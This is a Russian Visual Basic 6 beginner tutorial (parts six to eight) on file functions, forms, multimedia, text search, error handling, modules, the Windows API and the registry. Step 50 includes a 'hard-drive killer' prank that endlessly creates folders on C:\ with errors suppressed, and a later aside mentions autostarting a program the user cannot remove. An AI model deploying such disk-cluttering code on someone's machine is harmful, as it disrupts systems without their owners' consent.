Для удаления файлов служит функция Kill "имя файла"
Kill "c:\1.txt" 'Удаляем файл 1.txt

Для копирования файлов есть функция FileCopy "дирек1","дирек2"
FileCopy "c:\1.txt", "c:\1\1.txt" 'Копируем файл 1.txt из c:\ в c:\1\

Для перемещения файлов Злой Дядька Билл Гейц сделал функцию Name "дирек1\Имя файла" as "дирек2\Имя файла"
Name "c:\1.bmp" As "c:\1\1.bmp" 'Перемещаем файл 1.BMP из диска c:\ в c:\1.bmp

Переименование файлов делается также как и перемещение.
Name "c:\1.bmp" As "c:\22.bmp" 'Переименовываем файл 1.bmp в 22.bmp

ШАГ 50:

Делаем Убийцу Винта

Dim papka As Long ' вводим переменную papka, для подсчета номера папки
Private Sub Form_Load()
papka = 0
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
On Error Resume Next ' если происходит ошибка при создании папки, то игнорируем ее
MkDir "C:\Папка №" & papka ' создаем папку с номером равным переменной papka
papka = papka + 1 ' Это что - то типо счетчика, каждый раз на один больше
End Sub

Шестая часть

Автор учебника: Падре
Дата создания: 9 марта 2003 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

MS Visual Basic


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 51:

Формы

Форму, как и некоторые другие объекты можно скрывать и показывать, делать копии....
Для скрытия формы можно использовать Visible(установив False), но можно и Hide(Form1.Hide), а чтобы показать, нужно использовать свойство Show(Form1.Show).Чтобы форму размножить, будем использовать свойство Show. Код:

Dim a As New Form1 'Объявляем переменную a как новую форму
 Private Sub Command1_Click() ' При нажатии на кнопку:
 a.Show ' Будет показываться новая форма
 End Sub

Теперь создадим дочерние окно. Войдем в VB, на форму не чего кидать не будем, а войдем в Project >> Add Midi Form, и перед тобой открывается дочернее окно.

Теперь у формы в окне свойств, у свойства MIDIChild ставим True. Создаем меню. У первого раздела свойство Caption будет Файл, у первого подраздела Создать, и имя New, а у второго подраздела свойство Caption будет Выход, и имя Exit. У тебя получиться такая штука:

Теперь пишем код:
Private Sub Exit_Click() ' При нажатии на Выход
 Unload Me ' Программа закрывается
 End Sub

Private Sub New_Click() ' При нажатии на Создать
 Dim a As New Form1 ' объявляется переменная a как новая форма
 a.Show ' Будет показываться новая форма
 End Sub

ШАГ 52:

Мультимедиа. Автомат

Для работы со звуом, и все что с ним связанно есть компонент Microsot Multimedia Control 6.0. С помощью него можно проигрывать звуковые и видео файлы. Подключи этот компонент, и за одно Common Dialog. Щас сделаем программу, котоая будет проигрывать звуковые файлы. На форму кинь кнопу(Caption = "Открыть"), MMControl(Name= "MM"), CommonDialog(Name = "CD"). Код:

Private Sub Command1_Click()
CD.ShowOpen ' Вызываем окно открытия файлов
MM.FileName = CD.FileName ' Открываем выбранный файл
MM.Command = "open" ' Запускаем
End Sub

Теперь выбери любой звуковой файл, и нажми на Play. Только в этом примере все кнопки выбираются автоматом, и от тебя ни чего не зависит. В следующем шаге мы будем делать все это только в ручную.
Исходник - Здесь

ШАГ 53:

Убираем лишние кнопки

Чтобы убрать не нужные кнопки на MMControl, кинь его на форму, потом нажми на него правой кнопкой мыши, и выбери в меню - "Properties", потом в появившимся окне нажми на закладку Control.

здесь на против кнопки стоят 2 флажка. Первый Enabled - это активность кнопки, если галка стоит, то кнопка будет активна, если нет, то не активна. Второй Visible - это видимость, если галка стоит то кнопку будет видно, если нет...
Только на забудь выключить свойство AutoEnabled = False, а то у тебя будут кнопки автоматом становится активными и не активными...
Так же можно делать и вручную, например:

Private Sub Form_Load()
MM.AutoEnable = False ' Выключаем AutuEnabled
MM.PrevEnabled = True ' Делаем первую кнопку активной
MM.PrevVisible = True ' И видимой
End Sub

ШАГ 54:

Проигрывание видео файлов

Чтобы с помощью VB смотреть видео, сделаем программу. На форму кинь кнопку(Caption = "Открыть"), CommonDialog(Name = CD1), MMControl(Name= "MM"), и Picture(здесь будет Video ролики показываться)

Private Sub Command1_Click()
CD1.ShowOpen ' Вызываем окно открытия файлов
MM.FileName = CD1.FileName ' Открываем выбранный файл
MM.Command = "open" ' Запускаем
MM.hWndDisplay = Picture1.hWnd
End Sub

Теперь запускай программу, ищи видео(почти на любом CD), и любуйся.

Исходник - Здесь

ШАГ 55:

Атрибуты файлов

Ты наверное когда - нибуть видел, что в свойствах файла есть 3 атрибута - Только чтение, Скрытый, Архивный, там же можно поставить галку на любой из атрибутов. В VB тоже можно это сделать. Вот как:

SetAttr "C:\Чел.exe", vbReadOnly 'Поставить атрибут "Только чтение"
SetAttr "C:\Чел.exe", GetAttr("C:\Scan Port.exe") And (Not vbReadOnly) 'Очистить атрибут "Только чтение"

SetAttr "C:\Чел.exe", vbArchive 'Поставить атрибут "Архивный"
SetAttr "C:\Чел.exe", GetAttr("C:\Scan Port.exe") And (Not vbArchive) 'Очистить атрибут "Архивный"

SetAttr "C:\Чел.exe", vbHidden 'Поставить атрибут "Скрытый"
SetAttr "C:\Чел.exe", GetAttr("C:\Scan Port.exe") And (Not vbHidden) 'Очистить атрибут "Скрытый"

ШАГ 56:

Задание

Усовершенствуй Чудо Блокнот, который ты сделал в 5 Части, добавь в раздел Правка разделы:
Вырезать
Копировать
Вставить
Удалить
Выделить Все
Дата/Время

В раздел Файл - Печать
И сделай раздел Поиск

ШАГ 57

Компонент Microsoft Windows Common Control 6.0

В этом компоненте есть много всякой всячины, но самые нормальные это 2 объекта: Slider и ProgressBar. И мы сейчас сделаем программу. Подключи этот компонент, но форму кинь Slider и ProgressBar, и таймер. Вот что у тебя должно получиться:

Теперь о свойствах:
Value - это свойство есть у обоих объектов, у Slider это положение ползунка, т.е. если Value = 5 то ползунок будет на 5 отметен. А у ProgressBar это синий квадрат. Max - это свойство есть тоже у обоих объектов, у Slider это сколько будет отметен, а у ProgressBar это вместимость.
Ну а остальные свойства ты уже должен знать. Теперь код:

Dim x As Long ' Объявляем переменную для хранения чисел

Private Sub Form_Load()
x = 0
End Sub

Private Sub Slider1_Click()
x = Slider1.Value ' При передвижении ползунка x будет равен положению ползунка
End Sub

Private Sub Timer1_Timer()
On Error GoTo Error: ' Если происходит ошибка то пропускаем это место
ProgressBar1.Value = ProgressBar1.Value + x ' Если отжата то выключаем
Error:
If Err.Number = 380 Then ProgressBar1.Value = 0 ' Если отжата то выключаем
End Sub

Есть еще свойство Scrolling, если оно будет равным 1 ccScrollongSmooth то объект ProgressBar изменит свой вид.
Исходник качай здесь

ШАГ 58

Вставляем в кнопку картинку

Очень часто при создания файлов типо Setup, надо в кнопку всунуть картинку. На форму кинь кнопку, сделай ее размером побольше. Свойство Style = "1-Graphical", и свойство Picture = "картинка(любую)". Теперь у кнопки будет картинка. А у кнопки есть еще свойство DownPicture, оно нужно для того, чтоб при нажатии на кнопку, у нее менялась картинка. для нее тоже найди какую - нибуть картинку(желательно для этих свойств картинки с типом *.ico и *.cur, т.к. там размеры оптимальные). Вот что у тебя должно получиться:

Скачать Исходник

ШАГ 59

Коды клавиш

В этом Шаге представленны коды основных клавиш клавы. Например, у CTRL вобще не определяется ASCII код. Вот он:(Начнем с верхушки клавы)

vbKeyF1 - От F1
...
vbKeyF12 - До F12

vbKeyA - От A
...
vbKeyZ - До Z(только англиские буквы(заглавные и обычные))

vbKeyBack - BackSpace

vbKeyInsert - Insert
vbKeyHome - Home
vbKeyPageUp - Page Up
vbKeyDelete - Delete
VbKeyEnd - End
VbKeyPageDown - Page Down

vbKeyNumlock - Num Lock
vbKeyCapital - Caps Lock

vbKeyEscape - Esc
vbKeyReturn - Enter
vbKeySpace - Пробел

vbKeyShift - Shift
vbKeyTab - TAB
VbKeyControl - CTRL
vbKeyMenu - ALT

VbKeyLeft - Стрелка влево
VbKeyRight - Стрелка в право
VbKeyDown - Стрелка в низ
VbKeyUp - Стрелка вверх

Ну вроде и все, а пользоваться ими также как и ASCII кодами:
Private Sub Text1_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = vbKeySpace Then MsgBox "Нажат пробел" ' Если нажат пробел то выскакивает сообщение
End Sub

Остальные ASCII символы ты можешь посмотреть здесь

ШАГ 60

CommonDialog. Метод ShowFont

Метод ShowFont нужен для вызова стандартного окна выбора шрифтов. Сейчас сделаем программу, в которой при нажатии на кнопку появится это окно. На форму кинь CommonDialog(Name = CD1), и кнопку. Вот код:

Private Sub Form_Load()
CD1.FontName = "Arial" ' Устанавливаем начальные значения для CD1
End Sub

Private Sub Command1_Click()
'Устанавливаем тип отображения диалогов окна Font
CD1.Flags = cdlCFBoth Or cdlCFEffects Or cdlCFLimitSize Or cdlCFTTOnly Or dlCFForceFontExist
'Устанавливаем значения минимального и максимального размера шрифта(они будут отображаться в поле Размер)
CD1.Min = 8 ' Минимальный размер шрифта
CD1.Max = 22 ' Максимальный размер шрифта
CD1.ShowFont ' Вызываем окно выбора шрифтов
'Присваиваем выбранные свойства(к примеру текстовому полю)
Text1.FontName = CD1.FontName ' Имя шрифта в текстовом поле будет равно выбранному
Text1.FontBold = CD1.FontBold ' Если юзер ставить в окне выбора шрифтов Жирный, то в текстовом поле будет тоже жирный шрифт
Text1.FontItalic = CD1.FontItalic ' Если юзер ставить в окне выбора шрифтов Курсив, то в текстовом поле будет тоже Курсивный шрифт
Text1.FontSize = CD1.FontSize ' Размер шрифта
Text1.FontStrikethru = CD1.FontStrikethru ' Если юзер ставит галку на зачеркнутый, то в текстовом поле будет тоже зачеркнутый текст
Text1.FontUnderline = CD1.FontUnderline ' Если юзер ставит галку на подчеркнутый, то в текстовом поле будет тоже подчеркнутый текст
Text1.ForeColor = CD1.Color ' Устанавливаем выбранный цвет шрифта
End Sub

Исходник

Седьмая часть

Автор учебника: Падре
Дата создания: 12 апреля 2003 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

Логотипы, банеры, сайты на заказ


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 61:

Связь между формами

Ну что - то мне это в бошку слишком поздно пришло, это надо было писать в 4 части, а я в 6. Очень часто надо из 1 формы поменять какое - нибуть свойство у второй. И как это сделать читай в этом шаге. Сейчас мы сделаем программу, у которой из первой формы, мы будем менять свойство второй. Как всегда сделаем новый проект(Standart EXE), создай новую форму(Form2), на нее кинь кнопку, и на первую форму(Form1), тоже кинь кнопку. Код:
Private Sub Form_Load() 'При загрузке формы:
Form2.Show 'Показываем Форму 2(Form2)
End Sub

Private Sub Command1_Click() 'При нажатии на кнопку:
Form2.Command1.Caption = "" 'Меняем свойство Caption у кнопки второй формы
End Sub

И все!

ШАГ 62:

Делаем тень для Label`a

Войди в VB(Standart EXE) - на форму кинь 2 метки, и 1 текстовое поле. Выдели 2 метки и поставь у них свойство BackStyle = 0 - Transparent, и свойство AutoSize = True. Первую метку сделай серой(ForeColor), но так чтоб она не сливалась с формой. Код:

Private Sub Form_Load() 'При загрузке формы:
Label1.Left = Label2.Left + 70 'Метка 1(тень) была немного правее метки 2
Label1.Top = Label2.Top 'Делаем их на одной высоте
Label1.ZOrder (1) 'Делаем метку 1(тень) под меткой 2
End Sub

Private Sub Text1_Change() 'При изменении текста:
'Текст у всех меток тоже меняется
Label2.Caption = Text1.Text
Label1.Caption = Text1.Text
End Sub

ШАГ 63:

Свойства

Текстовое поле:
 1. Alignment - Это свойство задает способ отабражения текста в текстовом поле. По умолчанию, свойство равно "0", т.е. текст отображается с лева на право, если установить значение "1", то текст будет отображаться с право на лево, если значение сделать "2" - то по центру.
2. Appearance - С помощью этого свойства можно изменять внешний вид текстового поля, делать текст. поле или вдавленным, или плоским.
3. BackColor - Цвет фона текстового поля
4. BorderStyle - Это свойство Убирает или ставит рамку. Значение "0" - с рамкой, "1" - без рамки
5. Font - шрифт
6. Multuline - Это самое известное свойство, оно нужно для переключения в однострочный и многострочный режим (может это как - нибуть по другому называется, но т.к. я где - то услышал умное слово, то и решил им воспользоваться). Если стоит False - то однострочный режим, True - многострочный.
7. MaxLenght - это ограничитель вводимых символов. Например, если ты там напишешь 2 - то сможешь ввести только 2 символа. Вот так.
8. ScrollBars - это свойство нужно для установки скруллбаров (полос прокрутки).
9. ToolTipText - Введенный сюда текст будет появлятся в виде подсказки, при наведении на текст. поле текст.

Метка:
Все теже свойства, что и в текстовом поле +:
1. BackStyle - это свойство делает фон у метки прозрачным, очень полезное свойство
2. AutoSize - Это свойство автоматически регулирует размер метки.

А теперь события. При двойном клике по текстовому полю, создается процедура Text1_Change(). В какой - то части я говорил что это переводится как изменение. Так вот, при каждом изменении содержимого текстового поля, будет выполняться какое - то действия. И чтоб ты убедился что я не вру, сделаем программу. На форму кинь текстовое поле и метку. При вводе текста в текстовое поле, надпись метки будет меняться. Код:
Private Sub Text1_Change()
Label1.Caption = Text1.Text
End Sub

ШАГ 64:

Свойства и методы текстового поля

И снова свойства скажешь ты, и будешь прав. Но на этот раз будут еще и методы (это тоже самое что и свойства, только свойства описывают объект (цвет, размер, фон…), а методы выполняют какое - то действие над объектом (и в списке напротив них зеленый значок, а у свойств - серый)). Начнем. Первый метод будет SetFocus, оно нужно для установки курсора в заданное текстовое поле. Сделаем программу! На форму кинь 2 текстовых поля, и кнопку. Код:
Private Sub Command1_Click() 'При нажатии на кнопку:
Text1.SetFocus 'На текстовое поле 1 устанавливаем курсор
End Sub
Включай и смотри, при нажатии на кнопку курсор установится в текстовое поле 1.
Теперь сделаем программу, у которой текст будет выделяться. Ты не думай, что я тебе какую - то фигню впариваю - НЕТ! НЕТ! и еще раз НЕТ!. Я тебя готовлю к созданию программы, Поиск и Замена(ну как в Word Pad). Ну как я и говорил будем делать программу (выделение текста). На форму кинь 1 кнопку, и 1 текстовое поле. Теперь код:
Private Sub Command1_Click() 'При нажатии на кнопку:
Text1.Text = "Visual Basic" 'Текст в текстовом поле будет равен "Visual Basic"
Text1.SetFocus 'Курсор ставим в Text1
Text1.SelStart = 7 'Эта функция задает позицию курсора в тексте (у нас в словах Visual Basic, позиция будет равна 7, т.е. курсор будет перед B)
Text1.SelLength = 5 'Теперь выделяем 5 символов, т.е. Basic, т.к. начинаем выделять с того места, где стоит курсор, а курсор стоит перед B
End Sub
На свойствах мы закончим, и перейдем к функциям. Хотя нет, есть еще одно свойство, SelText, оно в указанную позицию вписывает текст, но об этом потом.

ШАГ 65:

Функция InStr

Ну здесь я дам тебе функции, верней функцию, тоже для работы с текстом, и тоже она нам пригодится для создания "Поиска". Эта функция нужна для сравнивания 2-х слов.
Как всегда, сделаем программу. Она будет сверять 2 текстовых поля, и в случае совпадения, выдавать соответствующее сообщение. Код:
Private Sub Command2_Click() 'При нажатии на кнопку:
If InStr(1, Text1.Text, Text2.Text) <> 0 Then 'Сверяется 2 текстовых поля
MsgBox "Совпадение" 'При совпадении юзер узнает об этом
Else
MsgBox "Не Совпадение" 'При не совпадении юзер все равно узнает об этом
End If
End Sub

Теперь поясню как все это работает, в начале синтаксис:
InStr(Начальная позиция, Текст для поиска, Искомое слово)
Вобще, это функция нужна для поиска позиции искомого слова в тексте. Если в тексте нету искомого слова, то функция возращает 0, поэтому мы и пишем:
If InStr(1, Text1.Text, Text2.Text) <> 0 Then
По - русски, это будет звучать так: "Если функция InSTR не равно 0(т.е. слово найденно)", то...

ШАГ 66:

Делаем ПОИСК

Сейчас мы сделаем программу, которая будет искать текст. На форму кинь 2 текстовых поля и кнопку. Вот код:
Dim qw As Long ' qw - переменная, которая будет содержать позицию для поиска
Private Sub Command1_Click() 'При нажатии на кнопку:
If InStr(qw, Text2.Text, Text1.Text) <> 0 Then 'Сверяется 2 текстовых поля
Text2.SetFocus 'На Text2 ставим курсор
Text2.SelStart = InStr(qw, Text2.Text, Text1.Text) - 1 'Устанавливаем курсор перед совпавшимся словом
Text2.SelLength = Len(Text1.Text) 'С помощью функции Len считаем сколько символов в Текстовом поле 1, и столько же выделяем
qw = InStr(qw, Text2.Text, Text1.Text) + Len(Text1.Text) ' Изменяем переменную qw на позицию курсора, для того, чтобы при следующем поиске, не искать уже найденное слово, а искать след. слово
Else ' Если в тексте больше нет искомого слова, то выводим об этом сообщение.
MsgBox "Здесь таких нет!!!"
End If
End Sub
Private Sub Form_Load()
qw = 1
End Sub

Исходник качай отсюда

ШАГ 67:

Делаем ПОИСК и Замену

Ну вот, сейчас мы сделаем Поиск и Замена, как в Word Pad.
На форму кинь 3 текстовых поля(Text1 - Текст, в котором будет осуществляться поиск и замена, Text2 - искомое слово, Text3 - Слово, на которое будет замененно найденное слово)
У тебя должно получиться что - то на подобие этого:

Теперь, перейдем к программной части:

Dim Zamena As Boolean

Private Sub Command1_Click()
' Если слово не найденно, то выводим сообщение, и выходим из процедуры:
If InStr(1, Trim(LCase(Text1.Text)), Trim(LCase(Text2.Text))) = 0 Then
MsgBox "Слово '" & Text2.Text & "' Не найденно", 64, "Найти и Заменить"
Exit Sub ' Выходим из процедуры
End If

If Zamena = True Then ' Если переменная zamena = True, т.е. слово уже найденно(и выделенно), то:
Text1.SetFocus ' Ставим курсор в текстовое поле
Text1.SelStart = InStr(1, Trim(LCase(Text1.Text)), Trim(LCase(Text2.Text))) ' Устанавливаем курсор перед найденным словом
Text1.SelLength = Len(Text2.Text) ' Выделяем столько символов, сколько вписанно в Text2
Text1.SelText = Text3.Text ' Заменяем выделенное слово, на текст Text3
Zamena = False
Exit Sub
End If

If InStr(1, Trim(LCase(Text1.Text)), Trim(LCase(Text2.Text))) <> 0 Then ' Если слово найденно, то:
Text1.SetFocus ' Ставим курсор в текст. поле
Text1.SelStart = InStr(1, Trim(LCase(Text1.Text)), Trim(LCase(Text2.Text))) ' Устанавливаем курсор перед найденным словом
Text1.SelLength = Len(Trim(LCase(Text2.Text))) ' Выделяем
Zamena = True
End If
End Sub

Исходник

ШАГ 68:

Отладка

Скорее всего каждая твоя программа содержит кучу ошибок, чаще всего это неправильные действия юзера. Для того чтоб этого избежать в VB, и в других языках есть отладка. Здесь я не буду говорить тебе о всех способах нахождения и устранения ошибок, т.к. сам в этом не силен, но расскажу о самом главном.
1. Игнорирование ошибок. Для игнорирования ошибок служит оператор On Error Resume Next.
Вот маленький пример из моей программы "Кодировщик". Подключите библиотеку Microsoft Common Dialog 6.0, назовите ее CD1 Private Sub Command1_Click() 'При нажатии на кнопку:
CD1.ShowOpen 'Открывается окно открытия файлов
d = FreeFile
Open CD1.filename For Output As d 'Открывается выбранный юзером файл (если юзер не выбрал файл (нажал отмена), то произойдет ошибка)
Close d 'Закрываем файл
End Sub
Не поленись скопируй этот текст в VB, и не забудь подключить библиотеку. А вот пример этой же программы, только уже отлаженной:
Private Sub Command1_Click()
CD1.ShowOpen
d = FreeFile
On Error Resume Next ' Если юзер не выбрал файл, то ошибка игнорируется
Open CD1.filename For Output As d
Close d
End Sub
2. Способ перескока.В этом способе при возникновении ошибки будет перескакивать на заданную позицию. Пример отлаженной программы:
Private Sub Command1_Click()
CD1.ShowOpen
d = FreeFile
On Error GoTo Ошибка 'Если происходит ошибка то происходит перескакивание до Ошибке:
Open CD1.filename For Output As d
Close d
MsgBox "" 'Здесь я специально поставил MsgBox, чтобы ты почувствовал разницу
Ошибка: 'Досюда происходит перескок
End Sub
Напоминаю, что чтобы произошла ошибка, нажми на кнопку, и в окне открытия файлов, нажми на Отмена.
3. Перехват Ошибок. Описание этого способа ты не где ни найдешь кроме моего учебника (т.к. его я сам придумал), но может найдешь похожее. Если тебя закалибала какая - то ошибка, то ты можешь ее игнорировать, или заменить. Чтобы узнать номер ошибки, и то что в ней написано, есть объект Err. Для начала нам надо узнать номер ошибки. Для этого создай новый проект(Standart EXE), на форму кинь Текстовое поле, и кнопку.
CD1.ShowOpen
d = FreeFile
On Error GoTo Ошибка 'Если происходит ошибка то происходит перескакивание до Ошибке:
Open CD1.filename For Output As d
Close d
MsgBox "" 'Здесь я специально поставил MsgBox, чтобы ты почувствовал разницу
Ошибка: 'Досюда происходит перескок
Text1.Text = Err.Number 'Если в Окне открытия файлов, юзер нажмет на Отмена, то произойдет Ошибка, и ее номер куда - то запишется, и мы с помощью объекта Err узнаем ее номер (в текстовом поле)
End Sub
Зная номер ошибки (а мы уже знаем!), можно ее заменить.
Private Sub Command1_Click()
CD1.ShowOpen
d = FreeFile

On Error GoTo g 'Если происходит ошибка, то мы игнорируем ее
Open CD1.filename For Output As d
Close d
g:
If Err.Number = 75 Then 'Зная номер ошибки мы можем что - нибуть сделать (например обосрать юзера...)
MsgBox "Не нажимай на ОТМЕНУ - ЛАМЕР ПОГАНЫЙ!!!", 16
End If
End Sub

На этом все, если в тебе кипит кровь, и ты хочешь узнать об отладке больше, то в поищи в Яндексе, там статей на эту тему до сраки.

ШАГ 69:

Функции

Функции - нужны для того, чтобы один и тот же код не писать несколько раз. Например, записав в функции код, его можно вызывать несколько раз. Ну ты скажешь: "Я не лентяй, напишу 2 раза - не здохну" - нет ты не прав, я раньше также думал, до тех пор пока не стал делать большие программы, в них очень часто приходится повторять код (и не 2 раза), и без функций не обойтись. Начнем:
Для объявления функций тебе надо записать:

Function Имя функции()
Код
End Function

Ну думаю здесь все понятно, хотя влятри, в любом случае сделаем программу. На форму кинь 2 кнопки.

Function Bla() 'Объявляем функцию Bla
MsgBox "это моя первая функция" 'Код
End Function 'Завершаем функцию, это можно не писать, т.к. после написания первой строчки, это фенька создается автоматом

Private Sub Command1_Click() 'При нажатии на кнопку:
Bla 'Запускается функция Bla
End Sub

Private Sub Command2_Click() 'При нажатии на кнопку:
Bla 'Запускается функция Bla
End Sub

ШАГ 70:

Модули - с чем их едят?

Модули нужны для объявления глобальных переменных, т.е. переменных которые могут использоваться во всем проекте (во всех формах...), и для объявления API функций. Чтобы создать модуль тебе надо войти в Project/Add Module и нажать Module. Все модуль создан! Отлично чел, ты создал свой первый модуль! Так держать! Но у тебя возникает вопрос: "Что я буду с ним делать?" - а что захочешь, но в начале тебе надо узнать о Public`e & Private`e.
Ну короче префикс Private нужен для объявления переменных и им подомных внутри модуля.
А Public нужен для объявления переменных во всем проекте, т.е. глобальных. Ну как ты наверное понял - все это подготовка к API

Например:
Запиши в модуле строку:
Public Peremen as Long
Этой строчкой ты объявишь глобальную переменную: Perem, т.е. эту переменную могут использовать все формы, модули....
Поэксперементируй с переменными.
Так же в модуле можно создовать глобальные(Public), и обычные(которые будут работать только в модуле!(Private)) функции, т.е. ты сможешь разгрузить форму создав для функций отдельный модуль.

Восьмая часть

Автор учебника: Падре
Дата создания: 17 марта 2003 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

Логотипы, банеры, сайты на заказ


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 71:

API - Начало:

Вообще в API ни чего сложного нет, т.к. в них даже думать особо не надо.
Винд использует кучу АПИ(их около 10000), например для работы с реестром, установки рисунка на рабочем столе, изменения разрешения экрана...(не буду их всех перечислять, т.к. это займет много времени). И зачем писать огромный код, когда можно использовать АПИ винда. И VB не всегда может сделать то, что можно сделать с помощью АПИ. Вот так. Теперь я дам тебе задание: "На рабочем столе создай текстовой документ(или какой - нибуть другой), назови его как - нибуть, в него ты будешь записывать все АПИ, которые ты считаешь нужными(т.к. есть еще куча не нужных)" Создал? Молодец, теперь запиши туда свою первую АПИ(см. ниже).
АПИ можно разделить на 2 части. В первой - мы ее декларируем, а во второй пишем код. Вот маленький пример функции, которая устанавливает курсор в любое место на экране:

Public Declare Function SetCursorPos Lib "user32" (ByVal r As Long, ByVal r1 As Long) As Long 'Это как ты наверное понял(или нет?) процесс декларации, здесь я написал в самом начале Public, это означает что декларировать можно где хош, хоть в модуле(ой, сорри, ДЕКЛАРИРОВАТЬ МОЖНО ТОЛЬКО В МОДУЛЕ, но декларация будет глобальна...); если написать Private - то АПИ можно будет использовать только в том месте где находится код к ней(это обычно в форме); а если вообще ни чего не писать(оставить Declare...as Long), то декларировать можно будет только в Модуле
Private Sub Command1_Click() 'При нажатии на кнопку устанавливаем курсор в координаты 66 и 77
qqq = SetCursorPos(66, 77)
End Sub
Мою коллекцию API ты можешь увидеть здесь. Сборник многих API ты можешь скачать с моего сайта - ИЩИ.

ШАГ 72:

Узнаем дирку Винда:

Т.к. у некоторых версий винда нестандартная дирка (у Винда95 - Win95, у других Windows...), наша цель узнать ее. Для этого можно использовать очень старую (еще с QBasic), и почти всеми забытою функцию Environ("windir")(Text1.Text = Environ("windir")), но истинный программер должен знать и API функцию. GetWindowsDirectory.

На форму кидаем текстовое поле и кнопку. В модуле декларируем API-функцию GetWindowsDirectory:.Для этого войди в Project/Add Module и нажми Module. Они нужны для объявления глобальных переменных и декларирования API функций.

Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Теперь впиши этот код в окне кода программы:

Private Sub Command1_Click()
Dim WinDir As String

'Переменную, которую надо передать API, мы уже
'объявили и теперь заполняем пробелами.
' Пробелов должно быть примерно столько,
'сколько примерно символов должна иметь переменная.
'В этом случае хватит и 20, т.к. Windows обычно устанавливают в
' С:\Windows или C:\Win95, и т.д. Т.е. сумма символов, скорее
' всего не превысит 20
WinDir = Space(20)
Text1.Text= Left(WinDir, GetWindowsDirectory(WinDir, 20))
'Т.к. API является функцией, то она должна возвращать какое-то
'значение. В данном случае функция GetWindowsDirectory возвращает
'длину искомого значения. Т.е. если, например, искомое значение
' это C:\WINDOWS, то функция вернёт значение 10.
'Переменная же имеете длину 20. Эти 10 символов записываются
'первыми, а дальше идут 10 пробелов. Зачем нам, спрашивается,
'лишние 10 символов? Ведь это используется ненужная память...
'Поэтому инструкцией Left мы из переменной WinDir вытаскиваем
'ровно столько первых символов, сколько вообще нужных...
End Sub

У тебя в текстовом поле появится путь к винду, а что касается деклараций функций, не забывай указывать ByVal, здесь вместо ipBuffer и nSize можно указать любую букву или слово (хоть Suka Bla)

ШАГ 73:

Основы Работы с РЕЕСТРОМ Винда:

Реестр эта база данных винда (ой, я же забыл тебе сказать, что такое базы данных). Ну ладно уговорил, скажу, что это такое: База данных это любой текст, который где - то хранится (например, в текстовом документе). Ну я это точно не знаю т.к. в базах я не спец. А создавать мы их будем в ближайшем будущем, т.к. сейчас у меня нет одной программы, без которой не обойтись. Ну хватит определений!!! Уже 2 штуки сказал! Перейдем к делу! Короче в реестре хранятся все настройки юзера. Например разрешение экрана, логин от инет карты, а пароль мы узнаем другим способом, с помощью реестра ты можешь сделать так чтоб твоя программа запускалась при старте винда (т.е. при входе в программу, юзер от нее никогда не избавится, короче в нем хранится почти все настройки юзера (и не только, все устройства, расширения файлов...), их можно менять, дополнять.... Но об этом потом. ВСЕ ПОТОМ. А сейчас будем работать с реестром с помощью VB. Но скажу сразу возможности VB ограничены, и это еще сильно сказано. В VB можно работать только с одним ключем, а этот ключ - самый ненужный ключ во всем Реестре, даже нельзя поместить программу в автозагрузку, а это унизительно..., НО, все равно, для хранения настроек программы он сойдет. Начнем.
Программа для работы с реестром находится в Винде, и зовется она RegEdit.EXE. Найди ее. А для ленивых есть в Пуске Раздел "Выполнить", нажми на него, и в текстовом поле впиши regedit и нажми ОК. Перед тобой откуда не возьмись открывается окно Редактор реестра. Там находится 6 ключей, но нам они не нужны, т.к. мы работаем без АПИ, а с помощью функций VB, а VB может работать только с одним ключем - HKEY_CURRENT_USER. Нажми на него(или 2 раза по нему, или один раз на плюс). Перед тобой появляется до хрена подключей, но нам они опять не нужны, т.к. МЫ БЕЗ АПИ КАК БЕЗ РУК!!!, но все равно нажми на SOFTWARE(т.е. Софт). И вот оно! То что нам надо! Это ключ VB and VBA Program Setting. В этом ключе Басик чувствует себя как дома! И в этом ключе мы будем работать с помощью VB функций. Полный путь к нему: HKEY_CURRENT_USER\SOFTWARE\VB and VBA Program Settings. Прежде чем рассказать о функциях я скажу пару умных слов(НЕ ОПРЕДЕЛЕНИЙ!!!!!!!!!!!!!!!!!!!!!).
Ключ - это таккая хрень, которая находится в самом начале, и начинается на HKEY_(ключей всего 6)
Подключ - это все что находится в ключе.
Строковой параметр - Ты наверное заметил, что редактор реестра поделен на 2 части, в первой - Ключи & Подключи, во второй - Строковые параметры, и числовые. А строковые параметры выглядят так: Строковой параметр
Числовые нам вообще пока не нужны, они выглядят почти также, только синие.
Как всегда сделаем программу, которая будет сохранять текст в реестр(т.е. в строковой параметр), читать их от туда, создовать навые подключи. Войди в VB, на форму кинь 3 кнопки(У первой Caption = "Сохранить", у 2ой - "Удалить", у 3ей - "Прочитать"), и текстовое поле. Код:

Private Sub Command1_Click()
